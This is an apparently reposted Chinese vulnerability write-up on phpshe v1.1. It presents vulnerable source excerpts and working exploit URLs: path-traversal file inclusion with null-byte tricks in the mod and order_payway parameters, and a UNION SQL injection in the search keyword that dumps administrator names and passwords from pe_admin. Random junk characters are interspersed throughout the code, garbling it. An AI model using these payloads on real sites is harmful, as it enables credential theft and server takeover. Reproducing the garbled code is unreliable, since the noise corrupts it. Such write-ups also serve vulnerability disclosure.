phpshe v1.1多处SQL注入和文件包含漏洞Getshell

admin

/*******************************************************/
/* Phpshe v1.1 Vulnerability
/* ========================
8 F/ s5 ]( ^. B5 g6 o# p5 f: }/* By: : Kn1f3
/* E-Mail : 681796@qq.com
+ k; _' B$ J+ \% X+ r) I/*******************************************************/
, ?+ `6 o8 n' x! b1 a0×00 整体大概参数传输

  H9 Q/ n: f3 H& p; P
- n+ [0 |# E3 @" X+ R
//common.php
; w( ~# q( _' I# Pif (get_magic_quotes_gpc()) {
: b3 N4 w' A/ T) S!empty($_GET) && extract(pe_trim(pe_stripslashes($_GET)), EXTR_PREFIX_ALL, '_g');
!empty($_POST) && extract(pe_trim(pe_stripslashes($_POST)), EXTR_PREFIX_ALL, '_p');
) T/ l: V; F* _6 P  h}
4 X- I2 W- |8 ielse {
!empty($_GET) && extract(pe_trim($_GET),EXTR_PREFIX_ALL,'_g');
!empty($_POST) && extract(pe_trim($_POST),EXTR_PREFIX_ALL,'_p');
}
. T" c% N$ m* N3 q1 isession_start();
!empty($_SESSION) && extract(pe_trim($_SESSION),EXTR_PREFIX_ALL,'_s');
!empty($_COOKIE) && extract(pe_trim(pe_stripslashes($_COOKIE)),EXTR_PREFIX_ALL,'_c');

0×01 包含漏洞

+ n; a( U4 ]: W/ `" @. Y0 F7 K+ p
//首页文件
* X' k8 ^. h$ K<!--?php include('common.php'); $cache_category = cache::get('category'); $cache_category_arr = cache::get('category_arr'); $cache_class = cache::get('class'); $cache_ad = cache::get('ad'); $cache_link = cache::get('link'); $cache_page = cache::get('page'); $web_qq = $cache_setting['web_qq']['setting_value'] ? explode(',', $cache_setting['web_qq']['setting_value']) : array(); $cart_num = pe_login('user') ? $db--->pe_num('cart', array('user_id'=>$_s_user_id)) : (unserialize($_c_cart_list) ? count(unserialize($_c_cart_list)) : 0);
include("{$pe['path_root']}module/{$module}/{$mod}.php");  //$mod可控造成“鸡肋”包含漏洞
0 G+ r) S  [  S( S8 e4 Z# Npe_result();
?>
//common 文件 第15行开始
; G" J7 P4 X4 \) ^! P% Purl路由配置
$module = $mod = $act = 'index';
: D$ J8 f% `$ h" p+ Y% O. I$mod = $_POST['mod'] ? $_POST['mod'] : ($_GET['mod'] ? $_GET['mod'] : $mod);
$act = $_POST['act'] ? $_POST['act'] : ($_GET['act'] ? $_GET['act'] : $act);
$id = $_POST['id'] ? $_POST['id'] : ($_GET['id'] ? $_GET['id'] : $id);
* Q; q! W7 d. L/ o1 J//exp：http://127.0.0.1/phpshe_v1.1/index.php?mod=../../robots.txt%00
- _; [  E) b: M, X8 b

$ K# S- F1 K1 k3 G0 }  J- Y& W8 E/ A
0×02 搜索注入

<code id="code2">

//product.php文件
2 O- F! l5 N- l; Ncase 'list':
/ R! U8 Q) f1 _9 U7 C' o$category_id = intval($id);
' S* F! X0 {  s3 Y# _# t; e2 ]$info = $db->pe_select('category', array('category_id'=>$category_id));
//搜索
$sqlwhere = " and `product_state` = 1";
* H6 I$ g, T- }pe_lead('hook/category.hook.php');
if ($category_id) {
where .= is_array($category_cidarr = category_cidarr($category_id)) ? " and `category_id` in('".implode("','", $category_cidarr)."')" : " and `category_id` = '{$category_id}'";
}
' \1 O6 I( _! K5 H7 Z$_g_keyword && $sqlwhere .= " and `product_name` like '%{$_g_keyword}%'"; //keyword变量未进行有效的sql语句过滤
if ($_g_orderby) {
1 m- s6 d- A% b: |# [! K$orderby = explode('_', $_g_orderby);
$sqlwhere .= " order by `product_{$orderby[0]}` {$orderby[1]}";
}
else {
" y7 d/ ]3 j4 S3 k: Y$ k% j2 }  P8 n$sqlwhere .= " order by `product_id` desc";
}
2 c3 C) ?- `; h; N1 F3 A/ _$info_list = $db->pe_selectall('product', $sqlwhere, '*', array(16, $_g_page));
//热卖排行
; k" s, _7 ^; u& @& l7 C$product_hotlist = product_hotlist();
& K( J' p' K# T8 e2 {0 e//当前路径
$ U% S9 K" h+ k: {2 H! t, U/ x$nowpath = category_path($category_id);
$seo = pe_seo($info['category_name']);
/ v: T  H9 K3 q" h3 w0 M8 a* k' Kinclude(pe_tpl('product_list.html'));
//跟进selectall函数库
* {0 ?" b8 ]  ppublic function pe_selectall($table, $where = '', $field = '*', $limit_page = array())
. k3 h4 O) f5 n$ o* Q{
4 G+ A/ B7 z( A2 _- ?: Y" h* I9 \//处理条件语句
7 V2 F. u1 l$ R3 o( e$sqlwhere = $this->_dowhere($where);
4 y2 I+ X4 {- u0 ]return $this->sql_selectall("select {$field} from `".dbpre."{$table}` {$sqlwhere}", $limit_page);
}
- {. J3 v; N1 l* Q: J//exp
product/list?keyword=kn1f3'+union+select+1,2,3,4,5,(select+concat(admin_name,0x27,admin_pw,0x27)+from+pe_admin),7,8,9,10,11,12,13,14,15,16,17,18,19 and+'1'='1

</code>
7 S: I$ O' |' L2 m/ J9 b0 ~
0×03 包含漏洞2
! Q. [) J4 A; b' T" a# b* K
<code id="code3">

//order.php

case 'pay':

$order_id = pe_dbhold($_g_id);

4 ]. ]7 o4 v0 y0 G$cache_payway = cache::get('payway');

3 t$ o; z. ^- p' Y, d" `5 f: Wforeach($cache_payway as $k => $v) {

( R% j2 m" L9 R  Q$cache_payway[$k]['payway_config'] = unserialize($cache_payway[$k]['payway_config']);

if ($k == 'bank') {

$cache_payway[$k]['payway_config']['bank_text'] = str_replace(array("\r", "\n", "\t"), '\n', $cache_payway[$k]['payway_config']['bank_text']);

}

}

$order = $db->pe_select('order', array('order_id'=>$order_id, 'order_state'=>'notpay'));

!$order['order_id'] && pe_error('订单号错误...');

. w: l! ]3 E" ~1 `$ Pif (isset($_p_pesubmit)) {

# B, L9 K* c1 c" [* lif ($db->pe_update('order', array('order_id'=>$order_id), $_p_info)) {

) M( M1 V7 ^0 g$info_list = $db->pe_selectall('orderdata', array('order_id'=>$order_id));

9 L" J! ]9 {% Cforeach ($info_list as $v) {

$order['order_name'] .= "{$v['product_name']};";

' W  Q. s1 y( t* H2 p. h}

echo '正在为您连接支付网站，请稍后...';

6 F8 a, K( n' [( D0 z, Einclude("{$pe['path_root']}include/plugin/payway/{$_p_info['order_payway']}/order_pay.php");

' N" K. H) @9 J. w  V' n}//当一切准备好的时候就可以进行"鸡肋包含了"

2 l) I* R, ?6 T& Gelse {

pe_error('支付错误...');

}

) T1 p3 ]% x6 O. n}

, M( A4 c6 }; d0 |8 y7 o  u0 V+ w' ?$seo = pe_seo('选择支付方式');

include(pe_tpl('order_pay.html'));

break;

}

//exp：

//http://127.0.0.1/phpshe_v1.1/index.php?mod=order&act=pay&id=1304070001

//info%5Border_payway%5D=alipay/../../../1.txt%00&pesubmit=%E7%AB%8B%E5%8D%B3%E6%94%AF%E4%BB%98</code>